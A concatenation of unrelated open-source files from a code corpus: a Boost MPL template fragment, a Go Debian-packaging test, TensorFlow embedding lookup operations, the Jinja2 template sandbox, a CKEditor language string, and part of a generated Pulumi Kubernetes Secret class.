, typename Last
, typename State
, typename BackwardOp
, typename ForwardOp
>
struct reverse_fold_step
{
typedef reverse_fold_chunk< -1 >::template result_<
typename mpl::next<First>::type
, Last
, typename apply2<ForwardOp,State, typename deref<First>::type>::type
, BackwardOp
, ForwardOp
> nested_step;
typedef typename apply2<
BackwardOp
, typename nested_step::state
, typename deref<First>::type
>::type state;
typedef typename nested_step::iterator iterator;
};
template<
long N
, typename First
, typename Last
, typename State
, typename BackwardOp
, typename ForwardOp
>
struct reverse_fold_impl
: reverse_fold_chunk<N>
::template result_< First,Last,State,BackwardOp,ForwardOp >
{
};
}}}
| {
"pile_set_name": "Github"
} |
package deb_test
import (
"github.com/debber/debber-v0.3/deb"
"github.com/debber/debber-v0.3/targz"
"io/ioutil"
"log"
"path/filepath"
"testing"
)
func Example_buildSourceDeb() {
pkg := deb.NewControlDefault("testpkg", "me", "me@a", "Dummy package for doing nothing", "testpkg is package ", true)
spkg := deb.NewSourcePackage(pkg)
err := buildOrigArchive(spkg) // it's up to you how to build this
if err != nil {
log.Fatalf("Error building source package: %v", err)
}
err = buildDebianArchive(spkg) // again - do it yourself
if err != nil {
log.Fatalf("Error building source package: %v", err)
}
err = buildDscFile(spkg) // yep, same again
if err != nil {
log.Fatalf("Error building source package: %v", err)
}
}
func Test_buildSourceDeb(t *testing.T) {
pkg := deb.NewControlDefault("testpkg", "me", "me@a", "Dummy package for doing nothing", "testpkg is package ", true)
spkg := deb.NewSourcePackage(pkg)
err := buildOrigArchive(spkg) // it's up to you how to build this
if err != nil {
t.Fatalf("Error building source package: %v", err)
}
err = buildDebianArchive(spkg) // again - do it yourself
if err != nil {
t.Fatalf("Error building source package: %v", err)
}
err = buildDscFile(spkg) // yep, same again
if err != nil {
t.Fatalf("Error building source package: %v", err)
}
}
func buildOrigArchive(spkg *deb.SourcePackage) error {
origFilePath := filepath.Join(deb.DistDirDefault, spkg.OrigFileName)
tgzw, err := targz.NewWriterFromFile(origFilePath)
if err != nil {
return err
}
// Add Sources Here !!
err = tgzw.Close()
if err != nil {
return err
}
return nil
}
func buildDebianArchive(spkg *deb.SourcePackage) error {
tgzw, err := targz.NewWriterFromFile(filepath.Join(deb.DistDirDefault, spkg.DebianFileName))
if err != nil {
return err
}
// Add Control Files here !!
err = tgzw.Close()
if err != nil {
return err
}
return nil
}
func buildDscFile(spkg *deb.SourcePackage) error {
dscData := []byte{} //generate this somehow. DIY (or see 'debgen' package in this repository)!
dscFilePath := filepath.Join(deb.DistDirDefault, spkg.DscFileName)
err := ioutil.WriteFile(dscFilePath, dscData, 0644)
if err != nil {
return err
}
return nil
}
| {
"pile_set_name": "Github"
} |
# Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# ==============================================================================
"""Operations for embeddings."""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from six.moves import xrange # pylint: disable=redefined-builtin
from tensorflow.python.framework import constant_op
from tensorflow.python.framework import dtypes
from tensorflow.python.framework import ops
from tensorflow.python.ops import array_ops
from tensorflow.python.ops import data_flow_ops
from tensorflow.python.ops import math_ops
def embedding_lookup(params, ids, partition_strategy="mod", name=None,
validate_indices=True):
"""Looks up `ids` in a list of embedding tensors.
This function is used to perform parallel lookups on the list of
tensors in `params`. It is a generalization of
[`tf.gather()`](../../api_docs/python/array_ops.md#gather), where `params` is
interpreted as a partition of a larger embedding tensor.
If `len(params) > 1`, each element `id` of `ids` is partitioned between
the elements of `params` according to the `partition_strategy`.
In all strategies, if the id space does not evenly divide the number of
partitions, each of the first `(max_id + 1) % len(params)` partitions will
be assigned one more id.
If `partition_strategy` is `"mod"`, we assign each id to partition
`p = id % len(params)`. For instance,
13 ids are split across 5 partitions as:
`[[0, 5, 10], [1, 6, 11], [2, 7, 12], [3, 8], [4, 9]]`
If `partition_strategy` is `"div"`, we assign ids to partitions in a
contiguous manner. In this case, 13 ids are split across 5 partitions as:
`[[0, 1, 2], [3, 4, 5], [6, 7, 8], [9, 10], [11, 12]]`
The results of the lookup are concatenated into a dense
tensor. The returned tensor has shape `shape(ids) + shape(params)[1:]`.
Args:
params: A list of tensors with the same type and which can be concatenated
along dimension 0. Each `Tensor` must be appropriately sized for the given
`partition_strategy`.
ids: A `Tensor` with type `int32` or `int64` containing the ids to be looked
up in `params`.
partition_strategy: A string specifying the partitioning strategy, relevant
if `len(params) > 1`. Currently `"div"` and `"mod"` are supported. Default
is `"mod"`.
name: A name for the operation (optional).
validate_indices: Whether or not to validate gather indices.
Returns:
A `Tensor` with the same type as the tensors in `params`.
Raises:
ValueError: If `params` is empty.
"""
if params is None or params == []: # pylint: disable=g-explicit-bool-comparison
raise ValueError("Need at least one param")
if not isinstance(params, list):
params = [params]
with ops.op_scope(params + [ids], name, "embedding_lookup") as name:
np = len(params) # Number of partitions
params = ops.convert_n_to_tensor_or_indexed_slices(params, name="params")
if np == 1:
with ops.colocate_with(params[0]):
return array_ops.gather(params[0], ids, name=name,
validate_indices=validate_indices)
else:
ids = ops.convert_to_tensor(ids, name="ids")
flat_ids = array_ops.reshape(ids, [-1])
original_indices = math_ops.range(array_ops.size(flat_ids))
# Create p_assignments and set new_ids depending on the strategy.
if partition_strategy == "mod":
p_assignments = flat_ids % np
new_ids = flat_ids // np
elif partition_strategy == "div":
# Compute num_total_ids as the sum of dim-0 of params, then assign to
# partitions based on a constant number of ids per partition. Optimize
# if we already know the full shape statically.
dim_0_size = params[0].get_shape()[0]
for p in xrange(1, np):
dim_0_size += params[p].get_shape()[0]
if dim_0_size.value:
num_total_ids = constant_op.constant(dim_0_size.value, flat_ids.dtype)
else:
dim_0_sizes = []
for p in xrange(np):
if params[p].get_shape()[0].value is not None:
dim_0_sizes.append(params[p].get_shape()[0].value)
else:
with ops.colocate_with(params[p]):
dim_0_sizes.append(array_ops.shape(params[p])[0])
num_total_ids = math_ops.reduce_sum(
math_ops.cast(array_ops.pack(dim_0_sizes), flat_ids.dtype))
ids_per_partition = num_total_ids // np
extras = num_total_ids % np
p_assignments = math_ops.maximum(
flat_ids // (ids_per_partition + 1),
(flat_ids - extras) // ids_per_partition)
# Emulate a conditional using a boolean indicator tensor
is_in_first_extras_partitions = math_ops.cast(
p_assignments < extras, flat_ids.dtype)
new_ids = (
is_in_first_extras_partitions * (
flat_ids % (ids_per_partition + 1)) +
(1 - is_in_first_extras_partitions) * (
(flat_ids - extras) % ids_per_partition))
else:
raise ValueError("Unrecognized partition strategy: " +
partition_strategy)
# Cast partition assignments to int32 for use in dynamic_partition.
# There really should not be more than 2^32 partitions.
p_assignments = math_ops.cast(p_assignments, dtypes.int32)
# Partition list of ids based on assignments into np separate lists
gather_ids = data_flow_ops.dynamic_partition(new_ids, p_assignments, np)
# Similarly, partition the original indices.
pindices = data_flow_ops.dynamic_partition(original_indices,
p_assignments, np)
# Do np separate lookups, finding embeddings for plist[p] in params[p]
partitioned_result = []
for p in xrange(np):
with ops.colocate_with(params[p]):
partitioned_result.append(array_ops.gather(
params[p], gather_ids[p],
validate_indices=validate_indices))
# Stitch these back together
ret = data_flow_ops.dynamic_stitch(pindices, partitioned_result,
name=name)
# Reshape to reverse the flattening of ids.
element_shape = params[0].get_shape()[1:]
for p in params[1:]:
element_shape = element_shape.merge_with(p.get_shape()[1:])
if element_shape.is_fully_defined():
ret = array_ops.reshape(ret, array_ops.concat(0, [
array_ops.shape(ids), element_shape]))
else:
# It's important that we compute params[0].shape on the right device
# to avoid data motion.
with ops.colocate_with(params[0]):
params_shape = array_ops.shape(params[0])
ret = array_ops.reshape(ret, array_ops.concat(0, [
array_ops.shape(ids), array_ops.slice(params_shape, [1], [-1])]))
# output shape = ids.shape + params[*].shape[1:]
# Normally the reshape is sufficient, but setting shape explicitly
# teaches shape inference that params[1:].get_shape() matters.
ret.set_shape(ids.get_shape().concatenate(element_shape))
return ret
def embedding_lookup_sparse(params, sp_ids, sp_weights,
partition_strategy="mod",
name=None,
combiner="mean"):
"""Computes embeddings for the given ids and weights.
This op assumes that there is at least one id for each row in the dense tensor
represented by sp_ids (i.e. there are no rows with empty features), and that
all the indices of sp_ids are in canonical row-major order.
It also assumes that all id values lie in the range [0, p0), where p0
is the sum of the size of params along dimension 0.
Args:
params: A single tensor representing the complete embedding tensor,
or a list of P tensors all of same shape except for the first dimension,
representing sharded embedding tensors.
sp_ids: N x M SparseTensor of int64 ids (typically from FeatureValueToId),
where N is typically batch size and M is arbitrary.
sp_weights: either a SparseTensor of float / double weights, or None to
indicate all weights should be taken to be 1. If specified, sp_weights
must have exactly the same shape and indices as sp_ids.
partition_strategy: A string specifying the partitioning strategy, relevant
if `len(params) > 1`. Currently `"div"` and `"mod"` are supported. Default
is `"mod"`. See `tf.nn.embedding_lookup` for more details.
name: Optional name for the op.
combiner: A string specifying the reduction op. Currently "mean", "sqrtn"
and "sum" are supported.
"sum" computes the weighted sum of the embedding results for each row.
"mean" is the weighted sum divided by the total weight.
"sqrtn" is the weighted sum divided by the square root of the sum of the
squares of the weights.
Returns:
A dense tensor representing the combined embeddings for the
sparse ids. For each row in the dense tensor represented by sp_ids, the op
looks up the embeddings for all ids in that row, multiplies them by the
corresponding weight, and combines these embeddings as specified.
In other words, if
shape(combined params) = [p0, p1, ..., pm]
and
shape(sp_ids) = shape(sp_weights) = [d0, d1, ..., dn]
then
shape(output) = [d0, d1, ..., dn-1, p1, ..., pm].
For instance, if params is a 10x20 matrix, and sp_ids / sp_weights are
[0, 0]: id 1, weight 2.0
[0, 1]: id 3, weight 0.5
[1, 0]: id 0, weight 1.0
[2, 3]: id 1, weight 3.0
with combiner="mean", then the output will be a 3x20 matrix where
output[0, :] = (params[1, :] * 2.0 + params[3, :] * 0.5) / (2.0 + 0.5)
output[1, :] = params[0, :] * 1.0
output[2, :] = params[1, :] * 3.0
Raises:
TypeError: If sp_ids is not a SparseTensor, or if sp_weights is neither
None nor SparseTensor.
ValueError: If combiner is not one of {"mean", "sqrtn", "sum"}.
"""
if combiner not in ("mean", "sqrtn", "sum"):
raise ValueError("combiner must be one of 'mean', 'sqrtn' or 'sum'")
if not isinstance(params, list):
params = [params]
if not isinstance(sp_ids, ops.SparseTensor):
raise TypeError("sp_ids must be SparseTensor")
ignore_weights = sp_weights is None
if not ignore_weights:
if not isinstance(sp_weights, ops.SparseTensor):
raise TypeError("sp_weights must be either None or SparseTensor")
sp_ids.values.get_shape().assert_is_compatible_with(
sp_weights.values.get_shape())
sp_ids.indices.get_shape().assert_is_compatible_with(
sp_weights.indices.get_shape())
sp_ids.shape.get_shape().assert_is_compatible_with(
sp_weights.shape.get_shape())
# TODO(yleon): Add enhanced node assertions to verify that sp_ids and
# sp_weights have equal indices and shapes.
with ops.op_scope(params + [sp_ids], name, "embedding_lookup_sparse") as name:
segment_ids = sp_ids.indices[:, 0]
if segment_ids.dtype != dtypes.int32:
segment_ids = math_ops.cast(segment_ids, dtypes.int32)
ids = sp_ids.values
if ignore_weights:
ids, idx = array_ops.unique(ids)
else:
idx = None
embeddings = embedding_lookup(
params, ids, partition_strategy=partition_strategy)
if not ignore_weights:
weights = sp_weights.values
if weights.dtype != embeddings.dtype:
weights = math_ops.cast(weights, embeddings.dtype)
# Reshape weights to allow broadcast
ones = array_ops.fill(
array_ops.expand_dims(array_ops.rank(embeddings) - 1, 0), 1)
bcast_weights_shape = array_ops.concat(0, [
array_ops.shape(weights), ones])
orig_weights_shape = weights.get_shape()
weights = array_ops.reshape(weights, bcast_weights_shape)
# Set the weight shape, since after reshaping to bcast_weights_shape,
# the shape becomes None.
if embeddings.get_shape().ndims is not None:
weights.set_shape(orig_weights_shape.concatenate(
[1 for _ in range(embeddings.get_shape().ndims - 1)]))
embeddings *= weights
if combiner == "sum":
embeddings = math_ops.segment_sum(embeddings, segment_ids, name=name)
elif combiner == "mean":
embeddings = math_ops.segment_sum(embeddings, segment_ids)
weight_sum = math_ops.segment_sum(weights, segment_ids)
embeddings = math_ops.div(embeddings, weight_sum, name=name)
elif combiner == "sqrtn":
embeddings = math_ops.segment_sum(embeddings, segment_ids)
weights_squared = math_ops.pow(weights, 2)
weight_sum = math_ops.segment_sum(weights_squared, segment_ids)
weight_sum_sqrt = math_ops.sqrt(weight_sum)
embeddings = math_ops.div(embeddings, weight_sum_sqrt, name=name)
else:
assert False, "Unrecognized combiner"
else:
assert idx is not None
if combiner == "sum":
embeddings = math_ops.sparse_segment_sum(embeddings, idx, segment_ids,
name=name)
elif combiner == "mean":
embeddings = math_ops.sparse_segment_mean(embeddings, idx, segment_ids,
name=name)
elif combiner == "sqrtn":
embeddings = math_ops.sparse_segment_sqrt_n(embeddings, idx,
segment_ids, name=name)
else:
assert False, "Unrecognized combiner"
return embeddings
| {
"pile_set_name": "Github"
} |
# -*- coding: utf-8 -*-
"""
jinja2.sandbox
~~~~~~~~~~~~~~
Adds a sandbox layer to Jinja as it was the default behavior in the old
Jinja 1 releases. This sandbox is slightly different from Jinja 1 as the
default behavior is easier to use.
The behavior can be changed by subclassing the environment.
:copyright: (c) 2017 by the Jinja Team.
:license: BSD.
"""
import types
import operator
from collections import Mapping
from jinja2.environment import Environment
from jinja2.exceptions import SecurityError
from jinja2._compat import string_types, PY2
from jinja2.utils import Markup
from markupsafe import EscapeFormatter
from string import Formatter
#: maximum number of items a range may produce
MAX_RANGE = 100000
#: attributes of function objects that are considered unsafe.
if PY2:
UNSAFE_FUNCTION_ATTRIBUTES = set(['func_closure', 'func_code', 'func_dict',
'func_defaults', 'func_globals'])
else:
# On versions > python 2 the special attributes on functions are gone,
# but they remain on methods and generators for whatever reason.
UNSAFE_FUNCTION_ATTRIBUTES = set()
#: unsafe method attributes. function attributes are unsafe for methods too
UNSAFE_METHOD_ATTRIBUTES = set(['im_class', 'im_func', 'im_self'])
#: unsafe generator attirbutes.
UNSAFE_GENERATOR_ATTRIBUTES = set(['gi_frame', 'gi_code'])
#: unsafe attributes on coroutines
UNSAFE_COROUTINE_ATTRIBUTES = set(['cr_frame', 'cr_code'])
#: unsafe attributes on async generators
UNSAFE_ASYNC_GENERATOR_ATTRIBUTES = set(['ag_code', 'ag_frame'])
import warnings
# make sure we don't warn in python 2.6 about stuff we don't care about
warnings.filterwarnings('ignore', 'the sets module', DeprecationWarning,
module='jinja2.sandbox')
from collections import deque
_mutable_set_types = (set,)
_mutable_mapping_types = (dict,)
_mutable_sequence_types = (list,)
# on python 2.x we can register the user collection types
try:
from UserDict import UserDict, DictMixin
from UserList import UserList
_mutable_mapping_types += (UserDict, DictMixin)
_mutable_set_types += (UserList,)
except ImportError:
pass
# if sets is still available, register the mutable set from there as well
try:
from sets import Set
_mutable_set_types += (Set,)
except ImportError:
pass
#: register Python 2.6 abstract base classes
from collections import MutableSet, MutableMapping, MutableSequence
_mutable_set_types += (MutableSet,)
_mutable_mapping_types += (MutableMapping,)
_mutable_sequence_types += (MutableSequence,)
_mutable_spec = (
(_mutable_set_types, frozenset([
'add', 'clear', 'difference_update', 'discard', 'pop', 'remove',
'symmetric_difference_update', 'update'
])),
(_mutable_mapping_types, frozenset([
'clear', 'pop', 'popitem', 'setdefault', 'update'
])),
(_mutable_sequence_types, frozenset([
'append', 'reverse', 'insert', 'sort', 'extend', 'remove'
])),
(deque, frozenset([
'append', 'appendleft', 'clear', 'extend', 'extendleft', 'pop',
'popleft', 'remove', 'rotate'
]))
)
class _MagicFormatMapping(Mapping):
"""This class implements a dummy wrapper to fix a bug in the Python
standard library for string formatting.
See http://bugs.python.org/issue13598 for information about why
this is necessary.
"""
def __init__(self, args, kwargs):
self._args = args
self._kwargs = kwargs
self._last_index = 0
def __getitem__(self, key):
if key == '':
idx = self._last_index
self._last_index += 1
try:
return self._args[idx]
except LookupError:
pass
key = str(idx)
return self._kwargs[key]
def __iter__(self):
return iter(self._kwargs)
def __len__(self):
return len(self._kwargs)
def inspect_format_method(callable):
if not isinstance(callable, (types.MethodType,
types.BuiltinMethodType)) or \
callable.__name__ != 'format':
return None
obj = callable.__self__
if isinstance(obj, string_types):
return obj
def safe_range(*args):
"""A range that can't generate ranges with a length of more than
MAX_RANGE items.
"""
rng = range(*args)
if len(rng) > MAX_RANGE:
raise OverflowError('range too big, maximum size for range is %d' %
MAX_RANGE)
return rng
def unsafe(f):
"""Marks a function or method as unsafe.
::
@unsafe
def delete(self):
pass
"""
f.unsafe_callable = True
return f
def is_internal_attribute(obj, attr):
"""Test if the attribute given is an internal python attribute. For
example this function returns `True` for the `func_code` attribute of
python objects. This is useful if the environment method
:meth:`~SandboxedEnvironment.is_safe_attribute` is overridden.
>>> from jinja2.sandbox import is_internal_attribute
>>> is_internal_attribute(str, "mro")
True
>>> is_internal_attribute(str, "upper")
False
"""
if isinstance(obj, types.FunctionType):
if attr in UNSAFE_FUNCTION_ATTRIBUTES:
return True
elif isinstance(obj, types.MethodType):
if attr in UNSAFE_FUNCTION_ATTRIBUTES or \
attr in UNSAFE_METHOD_ATTRIBUTES:
return True
elif isinstance(obj, type):
if attr == 'mro':
return True
elif isinstance(obj, (types.CodeType, types.TracebackType, types.FrameType)):
return True
elif isinstance(obj, types.GeneratorType):
if attr in UNSAFE_GENERATOR_ATTRIBUTES:
return True
elif hasattr(types, 'CoroutineType') and isinstance(obj, types.CoroutineType):
if attr in UNSAFE_COROUTINE_ATTRIBUTES:
return True
elif hasattr(types, 'AsyncGeneratorType') and isinstance(obj, types.AsyncGeneratorType):
if attr in UNSAFE_ASYNC_GENERATOR_ATTRIBUTES:
return True
return attr.startswith('__')
def modifies_known_mutable(obj, attr):
"""This function checks if an attribute on a builtin mutable object
(list, dict, set or deque) would modify it if called. It also supports
the "user"-versions of the objects (`sets.Set`, `UserDict.*` etc.) and
with Python 2.6 onwards the abstract base classes `MutableSet`,
`MutableMapping`, and `MutableSequence`.
>>> modifies_known_mutable({}, "clear")
True
>>> modifies_known_mutable({}, "keys")
False
>>> modifies_known_mutable([], "append")
True
>>> modifies_known_mutable([], "index")
False
If called with an unsupported object (such as unicode) `False` is
returned.
>>> modifies_known_mutable("foo", "upper")
False
"""
for typespec, unsafe in _mutable_spec:
if isinstance(obj, typespec):
return attr in unsafe
return False
class SandboxedEnvironment(Environment):
"""The sandboxed environment. It works like the regular environment but
tells the compiler to generate sandboxed code. Additionally subclasses of
this environment may override the methods that tell the runtime what
attributes or functions are safe to access.
If the template tries to access insecure code a :exc:`SecurityError` is
raised. However also other exceptions may occur during the rendering so
the caller has to ensure that all exceptions are caught.
"""
sandboxed = True
#: default callback table for the binary operators. A copy of this is
#: available on each instance of a sandboxed environment as
#: :attr:`binop_table`
default_binop_table = {
'+': operator.add,
'-': operator.sub,
'*': operator.mul,
'/': operator.truediv,
'//': operator.floordiv,
'**': operator.pow,
'%': operator.mod
}
#: default callback table for the unary operators. A copy of this is
#: available on each instance of a sandboxed environment as
#: :attr:`unop_table`
default_unop_table = {
'+': operator.pos,
'-': operator.neg
}
#: a set of binary operators that should be intercepted. Each operator
#: that is added to this set (empty by default) is delegated to the
#: :meth:`call_binop` method that will perform the operator. The default
#: operator callback is specified by :attr:`binop_table`.
#:
#: The following binary operators are interceptable:
#: ``//``, ``%``, ``+``, ``*``, ``-``, ``/``, and ``**``
#:
#: The default operation form the operator table corresponds to the
#: builtin function. Intercepted calls are always slower than the native
#: operator call, so make sure only to intercept the ones you are
#: interested in.
#:
#: .. versionadded:: 2.6
intercepted_binops = frozenset()
#: a set of unary operators that should be intercepted. Each operator
#: that is added to this set (empty by default) is delegated to the
#: :meth:`call_unop` method that will perform the operator. The default
#: operator callback is specified by :attr:`unop_table`.
#:
#: The following unary operators are interceptable: ``+``, ``-``
#:
#: The default operation form the operator table corresponds to the
#: builtin function. Intercepted calls are always slower than the native
#: operator call, so make sure only to intercept the ones you are
#: interested in.
#:
#: .. versionadded:: 2.6
intercepted_unops = frozenset()
def intercept_unop(self, operator):
"""Called during template compilation with the name of a unary
operator to check if it should be intercepted at runtime. If this
method returns `True`, :meth:`call_unop` is excuted for this unary
operator. The default implementation of :meth:`call_unop` will use
the :attr:`unop_table` dictionary to perform the operator with the
same logic as the builtin one.
The following unary operators are interceptable: ``+`` and ``-``
Intercepted calls are always slower than the native operator call,
so make sure only to intercept the ones you are interested in.
.. versionadded:: 2.6
"""
return False
def __init__(self, *args, **kwargs):
Environment.__init__(self, *args, **kwargs)
self.globals['range'] = safe_range
self.binop_table = self.default_binop_table.copy()
self.unop_table = self.default_unop_table.copy()
def is_safe_attribute(self, obj, attr, value):
"""The sandboxed environment will call this method to check if the
attribute of an object is safe to access. Per default all attributes
starting with an underscore are considered private as well as the
special attributes of internal python objects as returned by the
:func:`is_internal_attribute` function.
"""
return not (attr.startswith('_') or is_internal_attribute(obj, attr))
def is_safe_callable(self, obj):
"""Check if an object is safely callable. Per default a function is
considered safe unless the `unsafe_callable` attribute exists and is
True. Override this method to alter the behavior, but this won't
affect the `unsafe` decorator from this module.
"""
return not (getattr(obj, 'unsafe_callable', False) or
getattr(obj, 'alters_data', False))
def call_binop(self, context, operator, left, right):
"""For intercepted binary operator calls (:meth:`intercepted_binops`)
this function is executed instead of the builtin operator. This can
be used to fine tune the behavior of certain operators.
.. versionadded:: 2.6
"""
return self.binop_table[operator](left, right)
def call_unop(self, context, operator, arg):
"""For intercepted unary operator calls (:meth:`intercepted_unops`)
this function is executed instead of the builtin operator. This can
be used to fine tune the behavior of certain operators.
.. versionadded:: 2.6
"""
return self.unop_table[operator](arg)
def getitem(self, obj, argument):
"""Subscribe an object from sandboxed code."""
try:
return obj[argument]
except (TypeError, LookupError):
if isinstance(argument, string_types):
try:
attr = str(argument)
except Exception:
pass
else:
try:
value = getattr(obj, attr)
except AttributeError:
pass
else:
if self.is_safe_attribute(obj, argument, value):
return value
return self.unsafe_undefined(obj, argument)
return self.undefined(obj=obj, name=argument)
def getattr(self, obj, attribute):
"""Subscribe an object from sandboxed code and prefer the
attribute. The attribute passed *must* be a bytestring.
"""
try:
value = getattr(obj, attribute)
except AttributeError:
try:
return obj[attribute]
except (TypeError, LookupError):
pass
else:
if self.is_safe_attribute(obj, attribute, value):
return value
return self.unsafe_undefined(obj, attribute)
return self.undefined(obj=obj, name=attribute)
def unsafe_undefined(self, obj, attribute):
"""Return an undefined object for unsafe attributes."""
return self.undefined('access to attribute %r of %r '
'object is unsafe.' % (
attribute,
obj.__class__.__name__
), name=attribute, obj=obj, exc=SecurityError)
def format_string(self, s, args, kwargs):
"""If a format call is detected, then this is routed through this
method so that our safety sandbox can be used for it.
"""
if isinstance(s, Markup):
formatter = SandboxedEscapeFormatter(self, s.escape)
else:
formatter = SandboxedFormatter(self)
kwargs = _MagicFormatMapping(args, kwargs)
rv = formatter.vformat(s, args, kwargs)
return type(s)(rv)
def call(__self, __context, __obj, *args, **kwargs):
"""Call an object from sandboxed code."""
fmt = inspect_format_method(__obj)
if fmt is not None:
return __self.format_string(fmt, args, kwargs)
# the double prefixes are to avoid double keyword argument
# errors when proxying the call.
if not __self.is_safe_callable(__obj):
raise SecurityError('%r is not safely callable' % (__obj,))
return __context.call(__obj, *args, **kwargs)
class ImmutableSandboxedEnvironment(SandboxedEnvironment):
"""Works exactly like the regular `SandboxedEnvironment` but does not
permit modifications on the builtin mutable objects `list`, `set`, and
`dict` by using the :func:`modifies_known_mutable` function.
"""
def is_safe_attribute(self, obj, attr, value):
if not SandboxedEnvironment.is_safe_attribute(self, obj, attr, value):
return False
return not modifies_known_mutable(obj, attr)
# This really is not a public API apparenlty.
try:
from _string import formatter_field_name_split
except ImportError:
def formatter_field_name_split(field_name):
return field_name._formatter_field_name_split()
class SandboxedFormatterMixin(object):
def __init__(self, env):
self._env = env
def get_field(self, field_name, args, kwargs):
first, rest = formatter_field_name_split(field_name)
obj = self.get_value(first, args, kwargs)
for is_attr, i in rest:
if is_attr:
obj = self._env.getattr(obj, i)
else:
obj = self._env.getitem(obj, i)
return obj, first
class SandboxedFormatter(SandboxedFormatterMixin, Formatter):
def __init__(self, env):
SandboxedFormatterMixin.__init__(self, env)
Formatter.__init__(self)
class SandboxedEscapeFormatter(SandboxedFormatterMixin, EscapeFormatter):
def __init__(self, env, escape):
SandboxedFormatterMixin.__init__(self, env)
EscapeFormatter.__init__(self, escape)
| {
"pile_set_name": "Github"
} |
/*
Copyright (c) 2003-2016, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
CKEDITOR.plugins.setLang("placeholder","he",{title:"מאפייני שומר מקום",toolbar:"צור שומר מקום",name:"שם שומר מקום",invalidName:"שומר מקום לא יכול להיות ריק ולא יכול להכיל את הסימנים: [, ], \x3c, \x3e",pathName:"שומר מקום"}); | {
"pile_set_name": "Github"
} |
# coding=utf-8
# *** WARNING: this file was generated by pulumigen. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union
from ... import _utilities, _tables
from ... import meta as _meta
__all__ = ['Secret']
class Secret(pulumi.CustomResource):
def __init__(__self__,
resource_name: str,
opts: Optional[pulumi.ResourceOptions] = None,
api_version: Optional[pulumi.Input[str]] = None,
data: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
immutable: Optional[pulumi.Input[bool]] = None,
kind: Optional[pulumi.Input[str]] = None,
metadata: Optional[pulumi.Input[pulumi.InputType['_meta.v1.ObjectMetaArgs']]] = None,
string_data: Optional[pulumi.Input[Mapping[str, pulumi.Input[str]]]] = None,
type: Optional[pulumi.Input[str]] = None,
__props__=None,
__name__=None,
__opts__=None):
"""
Secret holds secret data of a certain type. The total bytes of the values in the Data field must be less than MaxSecretSize bytes.
Note: While Pulumi automatically encrypts the 'data' and 'stringData'
fields, this encryption only applies to Pulumi's context, including the state file,
the Service, the CLI, etc. Kubernetes does not encrypt Secret resources by default,
and the contents are visible to users with access to the Secret in Kubernetes using
tools like 'kubectl'.
For more information on securing Kubernetes Secrets, see the following links:
https://kubernetes.io/docs/concepts/configuration/secret/#security-properties
https://kubernetes.io/docs/concepts/configuration/secret/#risks
:param str resource_name: The name of the resource.
:param pulumi.ResourceOptions opts: Options for the resource.
:param pulumi.Input[str] api_version: APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] data: Data contains the secret data. Each key must consist of alphanumeric characters, '-', '_' or '.'. The serialized form of the secret data is a base64 encoded string, representing the arbitrary (possibly non-string) data value here. Described in https://tools.ietf.org/html/rfc4648#section-4
:param pulumi.Input[bool] immutable: Immutable, if set to true, ensures that data stored in the Secret cannot be updated (only object metadata can be modified). If not set to true, the field can be modified at any time. Defaulted to nil. This is a beta field enabled by ImmutableEphemeralVolumes feature gate.
:param pulumi.Input[str] kind: Kind is a string value representing the REST resource this object represents. Servers may infer this from the endpoint the client submits requests to. Cannot be updated. In CamelCase. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
:param pulumi.Input[pulumi.InputType['_meta.v1.ObjectMetaArgs']] metadata: Standard object's metadata. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#metadata
:param pulumi.Input[Mapping[str, pulumi.Input[str]]] string_data: stringData allows specifying non-binary secret data in string form. It is provided as a write-only convenience method. All keys and values are merged into the data field on write, overwriting any existing values. It is never output when reading from the API.
:param pulumi.Input[str] type: Used to facilitate programmatic handling of secret data.
"""
if __name__ is not None:
warnings.warn("explicit use of __name__ is deprecated", DeprecationWarning)
resource_name = __name__
if __opts__ is not None:
warnings.warn("explicit use of __opts__ is deprecated, use 'opts' instead", DeprecationWarning)
opts = __opts__
if opts is None:
opts = pulumi.ResourceOptions()
if not isinstance(opts, pulumi.ResourceOptions):
raise TypeError('Expected resource options to be a ResourceOptions instance')
if opts.version is None:
opts.version = _utilities.get_version()
if opts.id is None:
if __props__ is not None:
raise TypeError('__props__ is only valid when passed in combination with a valid opts.id to get an existing resource')
__props__ = dict()
__props__['api_version'] = 'v1'
__props__['data'] = data
__props__['immutable'] = immutable
__props__['kind'] = 'Secret'
__props__['metadata'] = metadata
__props__['string_data'] = string_data
__props__['type'] = type
secret_opts = pulumi.ResourceOptions(additional_secret_outputs=["data", "stringData"])
opts = pulumi.ResourceOptions.merge(opts, secret_opts)
super(Secret, __self__).__init__(
'kubernetes:core/v1:Secret',
resource_name,
__props__,
opts)
@staticmethod
def get(resource_name: str,
id: pulumi.Input[str],
opts: Optional[pulumi.ResourceOptions] = None) -> 'Secret':
"""
Get an existing Secret resource's state with the given name, id, and optional extra
properties used to qualify the lookup.
:param str resource_name: The unique name of the resulting resource.
:param pulumi.Input[str] id: The unique provider ID of the resource to lookup.
:param pulumi.ResourceOptions opts: Options for the resource.
"""
opts = pulumi.ResourceOptions.merge(opts, pulumi.ResourceOptions(id=id))
__props__ = dict()
return Secret(resource_name, opts=opts, __props__=__props__)
@property
@pulumi.getter(name="apiVersion")
def api_version(self) -> pulumi.Output[Optional[str]]:
"""
APIVersion defines the versioned schema of this representation of an object. Servers should convert recognized schemas to the latest internal value, and may reject unrecognized values. More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
"""
return pulumi.get(self, "api_version")
@property
@pulumi.getter
def data(self) -> pulumi.Output[Optional[Mapping[str, str]]]:
